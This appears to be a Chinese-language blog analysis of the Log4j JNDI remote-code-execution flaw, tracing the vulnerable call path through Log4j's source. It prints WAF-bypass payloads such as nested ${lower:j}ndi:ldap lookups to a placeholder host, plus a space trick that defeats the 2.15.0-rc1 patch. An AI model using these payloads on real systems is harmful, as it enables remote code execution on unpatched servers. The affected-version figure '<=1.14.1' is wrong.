log4j漏洞原理复现
环境搭建
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
直接用idea打开,build即可
然后运行即可,成功触发漏洞
漏洞跟踪
跟踪漏洞触发函数
发现接口org/apache/logging/log4j/Logger.java error
查看接口实现方法 org/apache/logging/log4j/spi/AbstractLogger.java
跟踪logIfEnabled()函数的逻辑
跟踪到tryLogMessage时,通过静态查找log函数,是不对的,通过动态跟踪更加准确,后面分析感觉是因为跨组件了,所以用idea的搜索搜出来不对
动态debug调试会跳到org/apache/logging/log4j/core/Logger.java
继续跟进最终会走到org/apache/logging/log4j/core/config/LoggerConfig.java
452行的一个三元表达式,这里三元表达式的2个分支实现原理都是一样的,不同点是做了强转,最终都是调用了logEventFactory.createEvent()
函数,并将其中的参数统一set到logEvent的返回值中,当然poc也存在了其中
继续跟进,发现将保存有poc的event参数传入了org/apache/logging/log4j/core/config/LoggerConfig.java
的callAppenders()中
继续跟进发现在org/apache/logging/log4j/core/layout/PatternLayout.java
处会进行format操作,此次调试中再i为8时会进入触发poc
跟进后步入了org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
中的config.getStrSubstitutor()函数中,并且传入的value参数根据字符串中存在${
的逻辑进行阶段,因为config是动态赋值的,静态根据找不到对应的类,此处在动态调试步入后就直接触发漏洞,点击红色的步入Force step into
可以继续查看逻辑
进入了StrSubstitutor
后发现在org/apache/logging/log4j/core/config/AbstractConfiguration.java
直接返回了个subst
参数,对该参数进行分析
发现是调用的StrSubstitutor
类,并且传入的是一个StrLookup
变量
查看StrSubstitutor
的逻辑,org/apache/logging/log4j/core/lookup/StrSubstitutor.java
发现在初始化时如果只有一个变量,会调用自己的另一个构造方法,并带上3个默认的参数,后续逻辑为对几个参数值进行赋值到返回的subst
参数中
这里带4个参数的构造方法有2个,而DEFAULT_PREFIX
参数是StrMatcher类,因此会跳到下方的函数
之后会调用带有6个参数的构造方法,setValueDelimiterMatcher
的值为:-
传入的这5个参数分别对应 $
,{
,}
,:-
,:\-
的字符,这些字符除了:-
在后面绕waf的poc中有体现
继续跟入org/apache/logging/log4j/core/lookup/StrSubstitutor.java
的replace
函数,该函数不是字符串的replace,是自定义的replace函数
跟进处理逻辑,发现将类中的特殊字符取出来,后续进行删除字符操作
进行处理后会走到resolveVariable
函数
该函数会将event和variableName传入lookup函数中,lookup一般是java反序列化远程加载类的一个重要函数名
这里的resolver可以是支持以下类型,而我们的远程加载类型jndi在里面,绕waf的poc的lower也在里面,因此可以通过lower来绕waf
最终跟进,进入到org/apache/logging/log4j/core/lookup/Interpolator.java
中的lookup
函数,并且传入的variableName是截取的poc,最终调用java的lookup触发远程加载实现反序列化,但这里不是加载的name的值,因为event值不会null,则会调用lookup.lookup(event, name)
函数或者进入defaultlookup.lookup()
函数
最终触发点使用了jndimanager加载远程资源
调用java原生态lookup
WAF BYPASS手法
在代码分析过程中,发现会对$
,{
,}
,:-
,:\\-
有处理,则将这类特殊符号插入poc中任然可以让逻辑将这些符号吞掉,执行代码定义StrSubstitutor(x,x,x,x)
时会传入4个参数,会调用自身传入6个参数的构造方法
可以看到下面的处理逻辑:-
进入了配置,而:\-
并没有进入配置,所以这也就是无法用:\-
来绕过waf的原因
在处理字符串的代码块中也将该值提取出来,并进行截取
在进行对字符串进行递进检测时,会将${}内容分成多个小块,然后会截取xxxxx:-
的内容为varName,之后的内容j为varDefaultValue
在进行对字符串进行递进检测时,会将${}内容分成多个小块,第一次切割会去掉最外面的${}
第二次切割掉${j}
的${}
,并将j放入循环
截取的小块内容会在之后的buf.replace进行还原拼接,但前提是该小块内容需要有:-
或者{协议}:
这样的参数才能进入到拼接的逻辑中
这也就是为什么可以使用以下poc
${${xx:-j}ndi:ldap://xxx.xx/a}
而使用lower:协议,会让varVaule在进入resoverVariable时返回值就为协议后的内容,也会顺利进入buf.replace中
跟踪log4j的StrLookup方法会调用到lower专属的lookup解析方式org/apache/logging/log4j/core/lookup/LowerLookup.java
最后返回小写字母,因此返回值也不会为null,会进入到拼接的判断中
因此可以这么写poc
${${lower:j}ndi:ldap://xx.xx/a}
还可以处理字符串的协议有
${${upper:j}ndi:ldap://xx.xx/a}
协议会被统一处理成小写因此,可以写成
${${loWeR:j}ndi:ldap://xx.xx/a}
修复
log4j漏洞影响版本在 <=1.14.1,但是网上说在log4j-2.15.0-rc1仍然可以绕过,于是出了rc2
2.15.0-rc1在默认配置下安全,但如果配置文件中开启了lookup功能则存在问题,在最终触发点处org/apache/logging/log4j/core/net/JndiManager.java
,和2.14.1不同的在于,他进行了一系列的对协议内容的检测
但catch处并没有return,则只要try里面的内容报错,则这段过滤就没用,绕过方法则让下面一行报错
URI uri = new URI(name);
使用空格来处理url则会报错,但最终还是会解析
${jndi:ldap://xx.xx/ a}
rc2则在catch处增加了return,就没问题了
2.15.0正式版之后,对${}的处理代码结构已经完全改变,漏洞无法走到该逻辑处